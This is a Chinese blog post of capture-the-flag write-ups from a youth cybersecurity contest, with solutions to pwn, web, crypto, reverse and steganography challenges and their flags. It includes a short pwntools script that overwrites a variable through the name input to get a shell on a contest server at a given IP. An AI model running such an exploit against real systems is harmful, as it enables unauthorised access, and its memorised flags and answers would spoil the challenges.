第四届“强网杯”青少年专项赛部分writeup

小灰灰 2022-12-04 08:36 194阅读 0赞

***第四届“强网杯”全国网络安全挑战赛青少年专项赛选拔赛***

### 加减乘除 ###

ida 反编译,发现输入 name 的地方存在变量覆盖  
继续分析  
(a) passcode = 3  
(b) passcode += 4  
© passcode \*= 7  
(d) passcode /= 5  
passcode 初始值为 0,通过 a,b,c,d 进行运算,但不能大于 66,最后结果等于 66 就可以往下执行  
,下面有个 if ( dword\_40A0 )语句,需要 dword\_40A0 为1,即可获取 shell,前面发现了 name 存  
在变量覆盖,可以覆盖到 dword\_40A0  
脚本:

from pwn import *
    #p=process('pwn1')
    p=remote('182.92.184.215','12345')
    p.sendlineafter('start: ','1'*100)
    s='bcbdcbbbbbb'
    for i in s:
    p.sendlineafter('> ',i)
    #p.sendline('Y')
    p.interactive()

flag\{c4dd24338491778fb938a95c83a6a2cf\}

### easy\_http ###

GET 传参 fruit=apple  
POST 传参 vegetable=potato  
修改请求头 User-Agent: Http\_1s\_W0nd3rful  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center]

### 简单算法 ###

脚本:

s=[49, 60, 58, 53, 50, 107, 117, 63, 57, 107, 63, 109, 66, 137, 65, 119, 118, 128, 142, 118, 117, 118,
    123, 147, 77, 126, 130, 124, 152, 80, 127, 134, 83, 87, 134, 87, 147, 148, 142, 95, 93, 85]
    flag=''
    k=0
    for i in s:
    k=k+1
    flag+=chr(i-k^86)
    print flag

flag\{38af7b7c-d138-4662-b216-d60dc5e881ab\}

### easy\_Crypto ###

Crypto3\_1.txt 内容゚ ω ゚ノ=/ `m ́)ノ~ ┻━┻ //* ́ ∇`\*/\[’\_’\];o=…这种是 aaencode 加密  
解密网址:https://www.qtool.net/decode  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 1]

得到数字5  
crypto3\_2.png 为猪圈加密  
解密网址:http://ctf.ssleye.com/pigpen.html  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 2]根据题目描述可以得知栅栏加密了,刚刚 aadecode 解密得到栅栏数为5  
解密网址:https://cryptii.com/pipes/rail-fence-cipher

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 3]flag\{cryptography\_is\_so\_insteresting\}

### base64 ###

题目给出了明文和密文,还有个 flag 的密文  
直接 base64 解码失败,猜测可能是 base64 变换了密码表  
根据密文和明文来推测一下  
原数据:  
sadhlkj122i3upoi213456aABSADHKJHLKJSADSADJLKHUOIPQWUEYUGHJ12345678901223  
3165410123123456789123709864hjklhfjldsnfzkpidjskljkamxcvmbcxamvbnm  
加密后的数据:  
h2QDfRrKfCPsxFDticMpfYTrxtV1yFQMVEyMWPAwXDAxX0IYVZWYVZWvYPnTaZ9uZQQ  
caZaeaZiTXCPsxtV1yCh4zYLrxCTtxtP2yYVrxOPsxtPsxtV1yCh4zYPsxthqzYl2yRAJf2rHeFIme  
SyoeGIKhREDfGyKgRIKdb14d3endFy4db12dF5nn  
自己 base64 加密的密文  
c2FkaGxrajEyMmkzdXBvaTIxMzQ1NmFBQlNBREhLSkhMS0pTQURTQURKTEtIVU9JUFFX  
VUVZVUdISjEyMzQ1Njc4OTAxMjIzMzE2NTQxMDEyMzEyMzQ1Njc4OTEyMzcwOTg2NGh  
qa2xoZmpsZHNuZnprcGlkanNrbGprYW14Y3ZtYmN4YW12Ym5t  
可以发现 base64 加密后的 c 被替换成了 h,数字不变,F 替换成了 Q,以此类推  
根据上面的方法,将 flag.txt 里的密文进行还原  
ZmxhZ3t (N)未知 YXNlNjRfMXNfUzBfRjRudGE1dGlj (k)未知 Q==

但是没有找到 k 和 N,需要猜测一下  
![在这里插入图片描述][2020090709432180.jpg_pic_center]通过 flag 格式可以推断出来 k → f  
还有一个暴力猜测得到 N → C  
所以最终还原的密文为:  
ZmxhZ3tCYXNlNjRfMXNfUzBfRjRudGE1dGljfQ==  
flag\{Base64\_1s\_S0\_F4nta5tic\}

### moss ###

打开文件得到一串摩斯密码,拿去解密得到 F L A G %u7b M O S S I S V E R Y F 4 N T Y %u7d ,  
发现这并不是 flag 格式,然后把字母全部替换成小写,根据 flag 格式把%u7b 和%u7d 换成\{ \}

flag\{mossisveryf4nty\}

### easy\_pcap ###

打开 easy\_pcap 包,根据题意网络流量就是用户通过网络传输的数据,马上过滤 http contains php

import base64
    a='ZmxhZyU3QjElMjdtX0g0Y0tfVjFzaTdfWTB1Ul9Db01wdXRlcl9hd2VTb21lJTdE'
    b=base64.b64decode(a)
    print(b)

得到 flag%7B1%27m\_H4cK\_V1si7\_Y0uR\_CoMputer\_aweSome%7D,再 URL 解码得  
flag\{1’m\_H4cK\_V1si7\_Y0uR\_CoMputer\_aweSome\}

### git 谜底 ###

解压文件看到里面有个.git 文件夹,查看文件夹里的文件发现 config 文件里有一个链接:  
https://github.com/maxcruz/stegano\_midi;  
用浏览器打开下载工具,工具里的 README.md 文件可以查看使用方法;  
接下来吧我们的 enjoy.mid 文件复制到工具里,使用方法:python stegano-midi.py --reveal –  
file=enjoy.mid 解出 flag  
注:如果运行显示缺少库,请根据报错提示安装;  
flag\{misc\_stegano\_is\_everywhere\}

### Luo\_Tianyi ###

根据题目描述首先想到用 binwalk 查看有没有隐藏文件,无果;  
然后继续审题,发现题目名字不同寻常,猜测是 steghide 隐写;  
用 steghide 工具: steghide extract -sf timg.jpg -p luotianyi 得到 flag.txt,打开即可以看到 flag  
flag\{8dfe88db-0def-4873-9f17-f9c46bd571b6\}

### misc\_made\_up ###

使用binwalk -e java.png把图片的隐藏文件分离出来，得到一个压缩包，压缩包的密码是若密码123456;解压后得到一个txt文件，查看文件内容发现底部有看不到的字符，根据第四届强网杯的一道miscstudy题知道这是html隐写  
![在这里插入图片描述][20200908164051942.png_pic_center]  
工具可以在百度搜索下载，输入命令解码即可：SNOW.EXE -C -p +“密码” +txt文件 即可得到flag  
flag\{tools\_is\_the\_key\_of\_misc\}

### 一切皆可视 ###

根据题目描述,百度查了一下可视化编程,科普到了 span 语言,在把附件 baby\_code.xml 打  
开并审查发现有一个 https://snap.berkeley.edu 链接,正好是 snap 语言并打开链接:  
如图点击运行:  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 5]  
然后等待加载一会儿,进入下一个页面,如下图  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 6]  
我们先把 xml 文件导入到里面,然后点击 Variables,把右边的 test 托到 say no!!! for 5 secs,把no!!!这个条件覆盖成 test 如下图:  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 7]  
我们看到列表的那串数字,通过 flag 格式输入发现最下面 5 位刚好是 flag\{ ,得知是从下往上的规律:  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 8]  
通过字符集(qwertyuiopasdfghjklzxcvbnm1234567890@! *\{\})输入推断得到 flag:  
flag\{w3l1C0m3*@nd\_G00d\_lUck!\}

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center]: /images/20221123/a3d5b5ee57d84841a48fc228847e5ec1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20221123/cd0d2256db8b480db2bab9fe2b8e12f1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20221123/378c86cbc6a54e698ec4fd60e26ff7a0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 3]: /images/20221123/2f3c370d22f6427bb470a4587394adae.png
[2020090709432180.jpg_pic_center]: /images/20221123/9c69c3e0a7494d8bb6cefc88a856c6ce.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 4]: /images/20221123/2fbf33c007fe462daa4320004eadd8df.png
[20200908164051942.png_pic_center]: /images/20221123/537c3f12c3074e68b4a2ef04bbedb81b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 5]: /images/20221123/0bbce487c0f143e2a10e47bfb2fe0994.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 6]: /images/20221123/4af6ae4af3224b8da4cf30bfb6621bc0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 7]: /images/20221123/64da51e3e0d34509abf9a575d5db72c4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkyMzEzNg_size_16_color_FFFFFF_t_70_pic_center 8]: /images/20221123/10c2839f75d54c7f90aebcb843ef9493.png